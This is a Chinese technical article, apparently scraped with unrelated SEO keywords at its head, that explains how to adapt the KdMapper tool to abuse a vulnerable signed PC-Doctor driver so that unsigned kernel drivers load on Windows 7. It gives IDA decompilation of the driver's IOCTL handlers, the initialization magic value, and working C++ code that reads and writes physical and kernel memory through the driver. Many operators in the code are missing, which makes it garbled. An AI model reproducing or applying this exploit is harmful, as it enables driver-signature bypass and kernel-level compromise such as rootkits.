网站开发与推广方向,网站建设管理岗位职责,网页界面,静态网站可以做哪些内容1.背景 KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动#xff0c;本文是利用其它漏洞#xff08;参考《【转载】利用签名驱动漏洞加载未签名驱动》#xff09;做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。 2.驱动信息 驱动名称pcds…1.背景 KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动本文是利用其它漏洞参考《【转载】利用签名驱动漏洞加载未签名驱动》做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。 2.驱动信息 驱动名称pcdsrvc_x64.pkms 时间戳5B0478B6MD5C5632596C83FFB4C704AFA2A7504A335文件版本6.2.3.0设备名称和驱动服务同名初始化驱动0x222004获取物理地址0x222080读物理内存0x222084写物理内存0x222088Windows 7支持Windows 10不支持Windows 11不支持 3.IDA分析
3.1 入口函数
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{DestinationString.Buffer (PWSTR)ExAllocatePool(PagedPool, RegistryPath-Length 2i64);if (!DestinationString.Buffer)return 0xC000009A;DestinationString.MaximumLength RegistryPath-Length 2;RtlCopyUnicodeString(DestinationString, RegistryPath);DriverObject-MajorFunction[0] (PDRIVER_DISPATCH)sub_13190;DriverObject-MajorFunction[2] (PDRIVER_DISPATCH)sub_131C4;DriverObject-MajorFunction[14] (PDRIVER_DISPATCH)DeviceIoControl;DriverObject-DriverUnload (PDRIVER_UNLOAD)DriverUnload;return CreateDevice(DriverObject);
} 可以看到 DestinationString是根据 RegistryPath 来设置也就是根据驱动安装的服务名称来确定。后面会看到驱动创建的设备名称就是根据 DestinationString 来设置的。 3.2 创建设备和符号链接
NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{NTSTATUS result; // eaxint v3; // ediunsigned int v4; // eax__int64 v5; // rcxint v6; // esi_UNICODE_STRING* v7; // rdiWCHAR* v8; // raxstruct _UNICODE_STRING Destination; // [rsp58h] [rbp-70h] BYREFUNICODE_STRING v10; // [rsp68h] [rbp-60h] BYREFstruct _UNICODE_STRING DestinationString; // [rsp78h] [rbp-50h] BYREFUNICODE_STRING Source; // [rsp88h] [rbp-40h] BYREFUNICODE_STRING DefaultSDDLString; // [rsp98h] [rbp-30h] BYREFPDEVICE_OBJECT DeviceObject; // [rspD8h] [rbp10h] BYREF_UNICODE_STRING* v15; // [rspE0h] [rbp18h]RtlInitUnicodeString(DestinationString, L\\DosDevices\\PCDSRVC);RtlInitUnicodeString(Source, L\\DosDevices\\);Destination.Buffer (PWSTR)ExAllocatePool(PagedPool, 538ui64);if (!Destination.Buffer)return 0xC000009A;Destination.Length 0;Destination.MaximumLength 538;RtlAppendUnicodeStringToString(Destination, Source);v3 -1;v4 ::DestinationString.Length 1;v5 v4;while (::DestinationString.Buffer[v5] ! 92){--v4;if (--v5 0)goto LABEL_8;}v3 v4;
LABEL_8:if (v3 -1)return 0xC0000001;RtlInitUnicodeString(DefaultSDDLString, LD:P(A;;GA;;;SY)(A;;GA;;;BA));v10.Buffer ::DestinationString.Buffer[v3 1];v10.Length ::DestinationString.Length - 2 * (v3 1);v10.MaximumLength v10.Length - 1;RtlAppendUnicodeStringToString(Destination, v10);result WdmlibIoCreateDeviceSecure(DriverObject,0x28u,Destination,0x22u,0x100u,0,DefaultSDDLString,0i64,DeviceObject);v6 result;if (result 0){RtlFreeUnicodeString(Destination);v15 (_UNICODE_STRING*)DeviceObject-DeviceExtension;v7 v15;*(_QWORD*)v15-Length DeviceObject;v7-Buffer (PWSTR)DriverObject;v8 (WCHAR*)ExAllocatePool(PagedPool, DestinationString.MaximumLength);v7[1].Buffer v8;if (v8){v7[1].MaximumLength DestinationString.MaximumLength;RtlCopyUnicodeString(v7 1, DestinationString);}else{v6 0xC000009A;}if (v6 0){if (v7[1].Buffer)RtlFreeUnicodeString(v7 1);IoDeleteDevice(DeviceObject);}result v6;}return result;
} 从第 18 行到第 43 行加上 3.1节内容可以看出创建设备的名称是根据驱动服务名称来设置同驱动服务名同名因此相应的实现逻辑也要做修改。见《4.1 设备名称相关》。 3.3 DeviceIoControl
__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{_IO_STACK_LOCATION* pIosp; // r9unsigned int nBytesReturn; // edxULONG nIoControlCode; // ecxunsigned int ntStatus; // ebxDWORD* dwInitailizeCode; // raxpIosp pIrp-Tail.Overlay.CurrentStackLocation;nBytesReturn 0;nIoControlCode pIosp-Parameters.DeviceIoControl.IoControlCode;if (nIoControlCode ! 0x222004 !bInitialized){ntStatus 0xC0000022;pIrp-IoStatus.Information 0i64;LABEL_18:LOBYTE(nBytesReturn) 0;goto LABEL_36;}if (nIoControlCode - 0x222000 0x7C){ntStatus 0;if (nIoControlCode 0x222000){if (pIosp-Parameters.DeviceIoControl.OutputBufferLength 4){*(_DWORD*)pIrp-AssociatedIrp.SystemBuffer 0x6020300;LABEL_16:nBytesReturn 4;goto LABEL_17;}}else{if (nIoControlCode ! 0x222004){ntStatus 0xC0000010;LABEL_17:pIrp-IoStatus.Information nBytesReturn;goto LABEL_18;}if (pIosp-Parameters.DeviceIoControl.InputBufferLength 4 pIosp-Parameters.DeviceIoControl.OutputBufferLength 4)// 初始化驱动{dwInitailizeCode (DWORD*)pIrp-AssociatedIrp.SystemBuffer;if (*dwInitailizeCode 0xA1B2C3D4){bInitialized 1;*dwInitailizeCode 0;}else{*dwInitailizeCode 1;}goto LABEL_16;}}ntStatus 0xC000000D;goto LABEL_17;}if (nIoControlCode - 0x222080 0x7C)return MemoryOperation(pIrp);if (nIoControlCode - 0x222100 0x7C)return sub_112C8(pIrp);if (nIoControlCode - 0x222180 0x7C)return sub_13A44(pIrp);if (nIoControlCode - 0x222300 0x7C)return sub_13B94(pIrp);if (nIoControlCode - 0x222380 0x7C)return sub_11008(pIrp);if (nIoControlCode - 0x222680 0x7C)return sub_11878(pIrp);if (nIoControlCode - 0x222700 0x7C)return sub_121C4(pIrp);if (nIoControlCode - 0x222600 0x7C)return sub_13D5C(pIrp);ntStatus 0xC0000010;pIrp-IoStatus.Information 0i64;
LABEL_36:pIrp-IoStatus.Status ntStatus;IofCompleteRequest(pIrp, nBytesReturn);return ntStatus;
} 从 42 行到 55 行是关于驱动初始化的逻辑由第 12 行可以看出未初始化的设备请求是不被处理的详见《4.2 初始化驱动》。 关于内存的操作是在 MemoryOperation 函数中。 3.4 MemoryOperation
__int64 __fastcall MemoryOperation(PIRP pIrp)
{_IO_STACK_LOCATION* pIosp; // raxULONG_PTR nBytesReturn; // rdiunsigned int nInputBufferLength; // ecxULONG nOutputBufferLength; // er8int nControlCode; // edxint nControlCodeV7; // edxunsigned int ntStatus; // ebxPC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // rbpSIZE_T nMapSize; // rdxPVOID pAddressMapped; // r12unsigned int ntStatusV12; // eaxPHYSICAL_ADDRESS nBytesMapped; // [rsp50h] [rbp8h] BYREFpIosp pIrp-Tail.Overlay.CurrentStackLocation;nBytesReturn 0i64;nInputBufferLength pIosp-Parameters.DeviceIoControl.InputBufferLength;nOutputBufferLength pIosp-Parameters.DeviceIoControl.OutputBufferLength;nControlCode pIosp-Parameters.DeviceIoControl.IoControlCode - 0x222080;nBytesMapped.QuadPart 0i64;if (!nControlCode) // 0x222080 获取物理内存 只能获取用户态虚拟地址对应的物理地址{if (nInputBufferLength ! 8 || nOutputBufferLength ! 8)goto LABEL_18;ntStatusV12 GetPhysicalMemory(pIrp, nBytesMapped);goto LABEL_17;}nControlCodeV7 nControlCode - 4;if (!nControlCodeV7) // 0x222084 读取物理内存{if (nInputBufferLength 0xD)goto LABEL_18;ntStatusV12 ReadPhysicalMemory(pIrp, nBytesMapped);LABEL_17:nBytesReturn nBytesMapped.QuadPart;ntStatus ntStatusV12;goto LABEL_19;}if (nControlCodeV7 ! 4){ntStatus 0xC0000010;goto LABEL_19;}if (nInputBufferLength 0xD) // 0x222088 写入物理内存{LABEL_18:ntStatus 0xC000000D;goto LABEL_19;}pInfo (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp-AssociatedIrp.SystemBuffer;ntStatus 0;nMapSize pInfo-Length;nBytesMapped pInfo-PhysicalAddress;pAddressMapped MapIoSpace(nBytesMapped, nMapSize);if (pAddressMapped){if (CopyMemory(pAddressMapped, pInfo[1], pInfo-Length, nBytesMapped, pInfo-CopyAlign))nBytesReturn pInfo-Length;elsentStatus 0xC000000D;MmUnmapIoSpace(pAddressMapped, pInfo-Length);}else{ntStatus 0xC0000001;}
LABEL_19:pIrp-IoStatus.Status ntStatus;pIrp-IoStatus.Information nBytesReturn;IofCompleteRequest(pIrp, 0);return ntStatus;
} 第 26 行为获取物理内存请求码为 0x222080实现函数为 GetPhysicalMemory。 第 30 行到 38 行为读取物理内存请求码为 0x222084实现函数为 ReadPhysicalMemory。 第 45 行到 67 行为写入物理内存请求码为 0x222088。 3.5 GetPhysicalMemory
__int64 __fastcall GetPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{void* pAddressToMap; // rdi_MDL* pMdl; // rax_MDL* pMdl2; // rbxpAddressToMap *(void**)pIrp-AssociatedIrp.SystemBuffer;pMdl IoAllocateMdl(pAddressToMap, 1u, 0, 0, 0i64);pMdl2 pMdl;if (!pMdl)return 0xC0000001i64;MmProbeAndLockPages(pMdl, 1, IoReadAccess);*(_QWORD*)pIrp-AssociatedIrp.SystemBuffer (unsigned __int16)pAddressToMap 0xFFF | ((__int64)pMdl2[1].Next 12);MmUnlockPages(pMdl2);IoFreeMdl(pMdl2);*nBytesMapped 8i64;return 0i64;
} 虽然这里通过映射内存的MDL来获取物理地址但由于 MmProbeAndLockPages 第 2 个参数用的是 UserMode 也即 1 来锁定但 KdMapper 中大多使用的是内核地址导致使用时会失败也即无法利用这个函数来获取物理地址。 3.6 读物理内存
__int64 __fastcall ReadPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{PC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // r8unsigned int ntStatus; // ebxPVOID pAddressMapped; // rbpunsigned int nSize; // [rsp38h] [rbp-20h]char nCopyAlign; // [rsp3Ch] [rbp-1Ch]PHYSICAL_ADDRESS pPhsicalAdressVar; // [rsp60h] [rbp8h] BYREFpInfo (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp-AssociatedIrp.SystemBuffer;ntStatus 0;nSize pInfo-Length;nCopyAlign pInfo-CopyAlign;pPhsicalAdressVar pInfo-PhysicalAddress;pAddressMapped MapIoSpace(pPhsicalAdressVar, nSize);if (!pAddressMapped)return 0xC0000001i64;if (CopyMemory(pIrp-AssociatedIrp.SystemBuffer, pAddressMapped, nSize, pPhsicalAdressVar, nCopyAlign)){*nBytesMapped nSize;}else{*nBytesMapped 0i64;ntStatus 0xC000000D;}MmUnmapIoSpace(pAddressMapped, nSize);return ntStatus;
} 3.7 CopyMemory
char __fastcall CopyMemory(void* Destination, const void* Source, unsigned int nSize, _QWORD* pPhsicalAdressVar, char nCopyAlign)
{unsigned __int16 v5; // r10unsigned int v7; // eax__int64 v8; // rdxv5 0;if (!nCopyAlign){memmove(Destination, Source, nSize);return 1;}if (nCopyAlign 4 !(*pPhsicalAdressVar % 4i64)){v7 nSize / 4;if (!(nSize % 4)){if (v7){do{v8 v5;*((_DWORD*)Destination v8) *((_DWORD*)Source v8);} while (v5 v7);}return 1;}}return 0;
} 在使用时只需要将第 5 个参数传 0 即实现 memmove。 3.8 PC_DOCTOR_PHYSICAL_MEMORY_INFO结构
00000000 PC_DOCTOR_PHYSICAL_MEMORY_INFO struc ; (sizeof0xD, copyof_384)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 Length dd ?
0000000C CopyAlign db ?
0000000D PC_DOCTOR_PHYSICAL_MEMORY_INFO ends 3.9 使用注意事项 实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存在代码过程中会遇到物理页面和虚拟页面不一一对应的问题问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。 4.相关逻辑说明
4.1 设备名称相关
4.1.1 原逻辑代码
HANDLE dell_driver::Load()
{......memset(dell_driver::driver_name, 0, sizeof(dell_driver::driver_name));static const char alphanum[] abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ;int len rand() % 20 10;for (int i 0; i len; i)dell_driver::driver_name[i] alphanum[rand() % (sizeof(alphanum) - 1)];......HANDLE result CreateFileW(L\\\\.\\PCDSRVC, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (!result || result INVALID_HANDLE_VALUE){dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}......
} 4.1.2 修改后逻辑代码 参考《3.2 创建设备和符号链接》逻辑进行相关修改代码如下
HANDLE dell_driver::Load()
{......std::wstring strDeviceName;strDeviceName.append(L\\\\.\\);strDeviceName.append(GetDriverNameW());HANDLE result CreateFileW(strDeviceName.c_str(), GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (!result || result INVALID_HANDLE_VALUE){Log(L[-] Failed to load driver iqvw64e.sys std::endl);dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}......
} 4.2 初始化驱动 参考《3.3 DeviceIoControl》的说明要发送控制码为 0x222004数据为 0xA1B2C3D4的请求实现代码如下
#define PCDSRVC_X64_DEVICE_TYPE (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID (DWORD)0x801
#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define INITIALIZE_CODE (0xA1B2C3D4)bool dell_driver::InitializeDriver(HANDLE device_handle)
{DWORD dwInitializeCode INITIALIZE_CODE;return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, dwInitializeCode, sizeof(DWORD), dwInitializeCode, sizeof(dwInitializeCode));
}HANDLE dell_driver::Load()
{......ntoskrnlAddr utils::GetKernelModuleAddress(ntoskrnl.exe);if (ntoskrnlAddr 0) {Log(L[-] Failed to get ntoskrnl.exe std::endl);dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}if (!dell_driver::InitializeDriver(result)){Log(L[-] Failed to Initialize Driver std::endl);dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}......
} 5. 代码实现
5.1 .h文件
#pragma pack(push, 1)typedef struct _PCDSRVC_PHISICAL_MEMORY_INFO{PHYSICAL_ADDRESS PhysicalAddress;DWORD Length;BYTE CopyAlign;}PCDSRVC_PHISICAL_MEMORY_INFO, *PPCDSRVC_PHISICAL_MEMORY_INFO;
#pragma pack(pop)#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) ((ULONG_PTR)(Offset)) ))
#endif#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif#define PCDSRVC_X64_DEVICE_TYPE (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID (DWORD)0x801
#define PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID (DWORD)0x820
#define PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x821
#define PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x822#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define IOCTL_PCDSRVC_X64_GET_PHYSICAL_ADDRESS \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222080
#define IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222084
#define IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222088#define INITIALIZE_CODE (0xA1B2C3D4) 5.2 .c文件
NTSTATUS dell_driver::SuperCallDriverEx(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength,_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus NtDeviceIoControlFile(DeviceHandle,NULL,NULL,NULL,ioStatus,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength);if (ntStatus STATUS_PENDING) {ntStatus NtWaitForSingleObject(DeviceHandle,FALSE,NULL);}if (IoStatus)*IoStatus ioStatus;return ntStatus;
}BOOL dell_driver::SuperCallDriver(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength)
{BOOL bResult;IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus SuperCallDriverEx(DeviceHandle,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength,ioStatus);bResult NT_SUCCESS(ntStatus);SetLastError(RtlNtStatusToDosError(ntStatus));return bResult;
}BOOL WINAPI dell_driver::SuperReadWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes,_In_ BOOLEAN DoWrite)
{BOOL bResult FALSE;DWORD dwError ERROR_SUCCESS;PCDSRVC_PHISICAL_MEMORY_INFO info { 0 };PBYTE pWriteData NULL;SIZE_T nBufferSize sizeof(PCDSRVC_PHISICAL_MEMORY_INFO) NumberOfBytes;__try {if (DoWrite) {pWriteData (PBYTE)malloc(nBufferSize);if (pWriteData){RtlZeroMemory(pWriteData, nBufferSize);info.PhysicalAddress.QuadPart PhysicalAddress;info.Length NumberOfBytes;info.CopyAlign 0;RtlCopyMemory(pWriteData, info, sizeof(PCDSRVC_PHISICAL_MEMORY_INFO));RtlCopyMemory(pWriteData sizeof(PCDSRVC_PHISICAL_MEMORY_INFO), Buffer, NumberOfBytes);bResult SuperCallDriver(DeviceHandle,IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY,pWriteData,(ULONG)nBufferSize,NULL,0);if (!bResult){Log(LSuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n);}}else{Log(LSuperReadWritePhysicalMemory Write malloc failed\r\n);}}else{info.PhysicalAddress.QuadPart PhysicalAddress;info.Length NumberOfBytes;info.CopyAlign 0;bResult SuperCallDriver(DeviceHandle, IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY, info, sizeof(info), Buffer, NumberOfBytes);if (!bResult){Log(LSuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n);}}}__except (EXCEPTION_EXECUTE_HANDLER) {bResult FALSE;dwError GetExceptionCode();Log(L[!] Error SuperReadWritePhysicalMemory Exception! std::endl);}if (pWriteData){free(pWriteData);}SetLastError(dwError);return bResult;
}
BOOL WINAPI dell_driver::SuperReadPhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_ PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,FALSE);
}BOOL WINAPI dell_driver::SuperWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,TRUE);
}BOOL WINAPI dell_driver::SuperWriteKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress 0;SetLastError(ERROR_SUCCESS);bResult SuperVirtualToPhysical(DeviceHandle,Address,physicalAddress);if (bResult) {bResult SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,TRUE);}return bResult;
}BOOL WINAPI dell_driver::SuperReadKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress 0;SetLastError(ERROR_SUCCESS);bResult SuperVirtualToPhysical(DeviceHandle,Address,physicalAddress);if (bResult) {bResult SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,FALSE);}return bResult;
}bool dell_driver::InitializeDriver(HANDLE device_handle)
{DWORD dwInitializeCode INITIALIZE_CODE;return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, dwInitializeCode, sizeof(DWORD), dwInitializeCode, sizeof(dwInitializeCode));
} 其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。 同时由于使用了MmMapIoSpace,故其只能在Win7上运行详见《KdMapper扩展实现之虚拟地址转物理地址 》。 6. 运行效果 Windows 7 x64 环境上运行的效果如下其中驱动 HelloWorld.sys为未签名的驱动其详细说明见文章《KdMapper被加载驱动的实现》。 7.特别提示 使用 PCDSRVC_X64.sys 制作的KdMapper只能在Win 7 x64环境上运行Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。